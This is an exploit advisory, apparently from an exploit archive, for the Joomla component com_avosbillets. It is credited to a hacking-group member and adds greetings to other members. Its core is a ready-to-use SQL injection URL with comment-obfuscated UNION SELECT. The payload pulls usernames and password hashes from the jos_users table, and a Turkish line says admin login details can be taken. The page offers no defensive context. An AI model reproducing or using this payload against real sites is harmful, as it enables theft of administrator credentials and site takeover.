17 lines
No EOL
1,009 B
Text
17 lines
No EOL
1,009 B
Text
<------------------- header data start ------------------- >
|
|
#############################################################
|
|
# Joomla Component com_avosbillets Blind SQL Injection Vulnerability
|
|
#############################################################
|
|
# Author : Pyske
|
|
# Home : www.cyber-warrior.org<http://www.cyber-warrior.org>
|
|
# Greetz : Fl0riX , M-K-A, F0RTYS3V3N ,BlackApple , KaBaDaYı and All Cyber-Warrior
|
|
# Name : com_avosbillets
|
|
# Bug Type : Blind SQL Injection
|
|
# Infection : Admin login bilgileri alinabilir.
|
|
|
|
#############################################################
|
|
< ------------------- header data end of ------------------- >
|
|
< -- bug code start -- >
|
|
http://server/index.php?option=com_avosbillets&task=view&view=event&id=374/**/and/**/1=0/**/union/**/select/**/0,1,2,3,4,5,6,7,8,concat(username,0x3a,password),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30/**/from/**/jos_users--
|
|
|
|
< -- bug code end of -- > |